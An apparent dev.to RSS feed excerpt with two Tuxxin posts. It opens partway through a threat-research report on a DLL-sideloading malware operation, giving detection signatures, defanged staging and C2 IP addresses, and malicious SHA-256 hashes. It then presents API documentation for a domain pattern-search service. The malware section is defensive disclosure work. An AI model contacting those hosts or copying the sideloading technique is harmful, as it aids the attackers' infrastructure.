&lt;p&gt;Both servers use the HFS page title &lt;code&gt;HFS - 文件列表&lt;/code&gt; ("HFS - file list"). The older host was active from April 2026 to at least August 12, 2026, on a different provider and a different continent. It pivots to the same malware cluster, including &lt;code&gt;KunBang.dll&lt;/code&gt;, &lt;code&gt;QQHong_*&lt;/code&gt; and &lt;code&gt;Update.dll&lt;/code&gt;, reaching the same C2 at &lt;code&gt;137.220.156[.]69&lt;/code&gt;. The two staging hosts belong to one operation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The 2,048-byte loader stub is the strongest single signal. It is shared across stages and unaffected by the hash-busting.&lt;/li&gt;
&lt;li&gt;Alert on the pair: a signed &lt;code&gt;SPDDUMP.EXE&lt;/code&gt; next to an unsigned &lt;code&gt;mspdb140.dll&lt;/code&gt; outside a Visual Studio install directory.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;QueueUserAPC&lt;/code&gt; running memory that was read from a wildcard match in the process's own directory is a narrow behavioral signature.&lt;/li&gt;
&lt;li&gt;Payload filenames and payload hashes change per copy by design. Detections built on either alone will miss the next copy.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Indicators of compromise
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Hosting&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;156.238.123[.]182:7294&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HFS staging host and open directory&lt;/td&gt;
&lt;td&gt;AS54801 Zillion Network (PH)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;154.198.50[.]76:8080&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sibling staging host, April to August 2026&lt;/td&gt;
&lt;td&gt;AS138995 Antbox Networks (SC)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;137.220.156[.]69&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stage 2 C2&lt;/td&gt;
&lt;td&gt;AS4907 BGPNET (JP)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;137.220.156[.]70&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stage 2 C2&lt;/td&gt;
&lt;td&gt;AS4907 BGPNET (JP)&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;SHA-256, malicious:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;401c5e167f6f17b2b8362c2056f22d8843d1fa52195e89ba4e88d9346d179496  1.d00 (malicious mspdb140.dll)
5f7c25d4f1e5ce47674986d1f39fff1200a395646ccc516dbbdff55e39af7702  shared 2,048-byte loader stub
64ae3a7092ddbd80289a4a0cc1f846f8ef7353d062983d6dd33cef9fbe22f5e6  mqpbl.xm     stage 1
288333007ef4dc1d037a9fd4a738de6880f913685d249665c73ee67091a0a092  nqxzer.xm    stage 1
46de9a3cc65df078d8fa20f0c7bd098e136c030df1053df530a8aca739145301  qlnxro.xm    stage 1
740b1aeab51e61de17f6bc82e02f9335b02bb24133fb73bd96a6870006d4ee1c  xmlakt.xm    stage 1
3f1af26ff035374ae1c4d44a4a581444aa9f92d4baf2f03c3db2221129537473  stage 1, carved PE
7218bc172e68a3c651ba68c7ea4d28e28fc282f871c557b7fbc88624b6621789  gdtqka.fyx   stage 2
7584e6296a476069a2e7b3f41a08903a4a3b2754f10e607317678056744cc4fe  mqucpe.yjl   stage 2
461793559fa43ebc74cb885558ded8a79c32255b3d8cd7b6341478e7dc806168  nlehkyc.yxr  stage 2
bbd64f281d249bfe328b072c0db87b6226c7f4208a8b36edec78bed7b611a24a  qbupve.btk   stage 2
4ea8b2a2438b9d1fd76e110b944ba9156459e4ff0a81aff8aa668d0a4e731f5f  xfzwinq.krx  stage 2
bd520a958988f14e471b09b8c6e8f201ba045bdff647d9110a9aa09b7286e8b2  stage 2, carved PE
c2f0a3e9913a8a36befaa07e67a16df6ce966f10662e6663493f8603673fc76a  fake LetsVPN .zip delivery package
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SHA-256, clean. Do not block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9a09faa9fa833f1810094c1a71e43217ff82e4861e3c63cea7670434b8d8229d  1.1x1 = Microsoft SPDDUMP.EXE (0/70)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Disclosure
&lt;/h2&gt;

&lt;p&gt;On September 29, 2026, Tuxxin LLC contributed the samples to MalwareBazaar and VirusTotal and published the indicators to AlienVault OTX. The legitimate Microsoft binary was excluded from all submissions.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;For coordinated disclosure: &lt;a href="mailto:contact@tuxxin.com"&gt;contact@tuxxin.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>threatresearch</category>
      <category>silverfox</category>
      <category>dllsideloading</category>
      <category>opendirectory</category>
    </item>
    <item>
      <title>Pattern search on issued.live finds domains by the shape of their names</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Sat, 26 Sep 2026 02:05:02 +0000</pubDate>
      <link>https://dev.to/tuxxin/pattern-search-on-issuedlive-finds-domains-by-the-shape-of-their-names-1445</link>
      <guid>https://dev.to/tuxxin/pattern-search-on-issuedlive-finds-domains-by-the-shape-of-their-names-1445</guid>
      <description>&lt;p&gt;issued.live pattern search matches a naming hypothesis against every registrable domain in its corpus, which held more than 454 million domains on September 25, 2026. Written as &lt;code&gt;[a-z]{4,10}agent.com&lt;/code&gt;, the hypothesis "a short word followed by &lt;code&gt;agent&lt;/code&gt;, in &lt;code&gt;.com&lt;/code&gt;" returns the names that fit, each with its nameservers and certificate ID. The endpoint is &lt;code&gt;GET https://issued.live/api/v1/search?name={pattern}&lt;/code&gt;, and it comes with the Pro plan at $199 a month.&lt;/p&gt;

&lt;p&gt;A naming hypothesis has no wordlist to enumerate, and the space of candidates is combinatorial. The match therefore runs next to the data.&lt;/p&gt;

&lt;h2&gt;
  
  
  The grammar is written forward, one label at a time
&lt;/h2&gt;

&lt;p&gt;Write the pattern the way you say the name. Each label takes four kinds of token:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Syntax&lt;/th&gt;
&lt;th&gt;Matches&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zero or more of &lt;code&gt;a-z&lt;/code&gt;, &lt;code&gt;0-9&lt;/code&gt; and &lt;code&gt;-&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*agent.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exactly one of those characters&lt;/td&gt;
&lt;td&gt;&lt;code&gt;loop?.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;[a-z]{4,10}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A counted run from a character class&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[a-z]{4,10}agent.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;literal&lt;/td&gt;
&lt;td&gt;Itself&lt;/td&gt;
&lt;td&gt;&lt;code&gt;loop-lumen.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Grouping, alternation and negation are unsupported. The response returns the compiled expression as &lt;code&gt;regex&lt;/code&gt;, so you can see exactly what ran.&lt;/p&gt;

&lt;h2&gt;
  
  
  Every pattern names a TLD
&lt;/h2&gt;

&lt;p&gt;A pattern must include a TLD label. &lt;code&gt;*agent&lt;/code&gt; alone could mean a name or a suffix, and a guess would search the wrong one. &lt;code&gt;*agent.*&lt;/code&gt; means every TLD.&lt;/p&gt;

&lt;p&gt;Naming a specific TLD sets the cost of the query. issued.live stores names suffix-first, so a pattern that pins the TLD becomes a key range, and a pattern with a wildcard TLD reads the whole key space. The &lt;a href="https://issued.live/developers/pro" rel="noopener noreferrer"&gt;Pro API reference&lt;/a&gt; publishes these timings:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;Anchored on&lt;/th&gt;
&lt;th&gt;Scan time&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;loop-*.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;com.loop-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.03 s&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;[a-z]{4,10}agent.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;com.&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.7 s&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;*agent.*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unanchored&lt;/td&gt;
&lt;td&gt;1 to 3.5 s&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A literal start to the name lengthens the key prefix: &lt;code&gt;loop-*.com&lt;/code&gt; anchors on &lt;code&gt;com.loop-&lt;/code&gt;, while the counted class at the front of &lt;code&gt;[a-z]{4,10}agent.com&lt;/code&gt; leaves only &lt;code&gt;com.&lt;/code&gt;. The response reports &lt;code&gt;anchored&lt;/code&gt; and &lt;code&gt;key_prefix&lt;/code&gt;, so you can see which case you landed in.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bounds on a pattern and a page
&lt;/h2&gt;

&lt;p&gt;A character class needs a closed count with an upper bound of 64 or less. &lt;code&gt;[a-z]+&lt;/code&gt; and &lt;code&gt;[a-z]{4,}&lt;/code&gt; are refused with &lt;code&gt;400 bad_request&lt;/code&gt;. The cap stops a pattern from silently becoming a full scan.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Default&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Required&lt;/td&gt;
&lt;td&gt;Up to 128 characters and 8 labels. A missing or empty value is a 400.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;limit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;Up to 1,000 candidates examined per page.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;after&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Cursor. Omit it to start, then pass back &lt;code&gt;next_cursor&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;ns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Nameserver filter, by exact name or by parent domain.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;first_seen_from&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;30 days back&lt;/td&gt;
&lt;td&gt;Switches the search to window mode.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;first_seen_to&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Now&lt;/td&gt;
&lt;td&gt;Always clamped to now.&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Filtering hits by nameserver
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ns=&lt;/code&gt; matches a nameserver by exact name or by parent domain, so &lt;code&gt;ns.cloudflare.com&lt;/code&gt; matches &lt;code&gt;teresa.ns.cloudflare.com&lt;/code&gt; and every other nameserver beneath it.&lt;/p&gt;

&lt;p&gt;The filter applies after the page is drawn. &lt;code&gt;scanned&lt;/code&gt; reports how many candidates the page examined and &lt;code&gt;count&lt;/code&gt; how many it returned, and the two differ when &lt;code&gt;ns=&lt;/code&gt; removed rows. Keep following &lt;code&gt;next_cursor&lt;/code&gt; until it is absent. The cursor advances over candidates, so a page that returns nothing still moves the walk forward.&lt;/p&gt;

&lt;p&gt;The reference's pivot workflow runs a search with a nameserver filter, reading the key from an environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;H&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://issued.live/api/v1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="si"&gt;}{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/search&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;loop-*.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ns.cloudflare.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;limit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;names match the grammar on that nameserver&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reference rates a shared nameserver as a moderate link: "Strong when the pair is account-specific, weak when it is a large provider's default." A shared nameserver pair, a same-day registration and a name that fits the grammar together make a far stronger signal than any one of them alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Window mode searches the registration feed by date
&lt;/h2&gt;

&lt;p&gt;Sending &lt;code&gt;first_seen_from&lt;/code&gt; or &lt;code&gt;first_seen_to&lt;/code&gt; switches the search to window mode. The date leads the sort key there, so the query becomes an index range, measured at 0.094 s. Window mode answers questions such as which names matching this grammar appeared last week. To keep a grammar current, rerun it in window mode with &lt;code&gt;first_seen_from&lt;/code&gt; set to the time of the previous run.&lt;/p&gt;

&lt;p&gt;Without a window the search runs in corpus mode over every name issued.live holds, paged by key. The &lt;code&gt;mode&lt;/code&gt; field says which one ran. Sending only &lt;code&gt;first_seen_to&lt;/code&gt; sets the lower bound to 30 days back, and the reply echoes the window it applied. Both bounds take RFC 3339, &lt;code&gt;YYYY-MM-DD HH:MM:SS&lt;/code&gt;, &lt;code&gt;YYYY-MM-DD&lt;/code&gt; or a Unix timestamp, and a reversed window is a 400.&lt;/p&gt;

&lt;p&gt;A window cursor carries a position in time and a corpus cursor carries none. A cursor from the wrong mode gets a 400, so a walk cannot silently restart.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the answer looks like
&lt;/h2&gt;

&lt;p&gt;An example response for &lt;code&gt;[a-z]{4,10}agent.com&lt;/code&gt; at a limit of 100:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"pattern"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;"[a-z]{4,10}agent.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"regex"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s2"&gt;"^com&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;.[a-z]{4,10}agent$"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="s2"&gt;"corpus"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"anchored"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_prefix"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"com."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"count"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"scanned"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"limit"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"truncated"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"next_cursor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"H2NvbS5hYmJpbnNhZ2VudA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"domains"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"domain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="s2"&gt;"abbinsagent.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"tld"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="s2"&gt;"com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"first_zone_seen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-09-05T22:00:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"first_cert_seen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-09-06T04:21:09Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cert_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s2"&gt;"b800bf9f6375b6825ca2b92d97bbb06f"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"ns"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"ns1.zoom.ph"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ns2.zoom.ph"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;regex&lt;/code&gt; shows the pattern compiled against the suffix-first key, starting at &lt;code&gt;com.&lt;/code&gt;. &lt;code&gt;first_zone_seen&lt;/code&gt; records when issued.live first saw the name in a zone file, and &lt;code&gt;cert_id&lt;/code&gt; is the key for the certificate endpoint, &lt;code&gt;/api/v1/cert/{cert_id}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Certificate detail is live for 48 hours. After that, Pro answers from the archive: a lookup with no parameter searches the most recent seven archived days, and &lt;code&gt;?day=YYYY-MM-DD&lt;/code&gt; or &lt;code&gt;?from=&amp;amp;to=&lt;/code&gt; reaches further back, as far as September 9, 2026. An archive lookup takes seconds, and at most two run at once across all callers.&lt;/p&gt;

&lt;h2&gt;
  
  
  A search takes one of two concurrency slots
&lt;/h2&gt;

&lt;p&gt;Pattern search is an advanced query, and Pro runs two advanced queries at once per account. Reverse IP, range, batch lookup and the provisioning feed take the same slots. Certificate, key, domain, timeline and newly registered domains lookups take none. Pro's 1,200 requests a minute meter the public record API, and the slots bound the advanced queries.&lt;/p&gt;

&lt;p&gt;When both slots are busy, a request waits up to five seconds for one, then returns &lt;code&gt;503 timeout&lt;/code&gt;. The status is expected on unanchored searches. Retry once, then narrow the pattern. Branch on the &lt;code&gt;retryable&lt;/code&gt; field and the &lt;code&gt;Retry-After&lt;/code&gt; header.&lt;/p&gt;

&lt;h2&gt;
  
  
  Plan and documentation
&lt;/h2&gt;

&lt;p&gt;Pattern search comes with Pro. Plus, at $99 a month, runs one advanced query at a time and has no pattern search. The &lt;a href="https://issued.live/pricing" rel="noopener noreferrer"&gt;pricing page&lt;/a&gt; compares the plans, the &lt;a href="https://issued.live/developers/pro" rel="noopener noreferrer"&gt;Pro API reference&lt;/a&gt; documents each parameter, and the &lt;a href="https://issued.live/news/issued-live-paid-plans-open-basic-plus-pro" rel="noopener noreferrer"&gt;paid plans announcement&lt;/a&gt; of September 19, 2026, introduced Basic, Plus and Pro.&lt;/p&gt;

&lt;p&gt;Parameters, caps and measurements come from the issued.live Pro API reference, and plan details from the pricing page, both as read on September 25, 2026. &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;More about the author&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>threathunting</category>
      <category>domainintelligence</category>
      <category>issuedlive</category>
      <category>patternsearch</category>
    </item>
    <item>
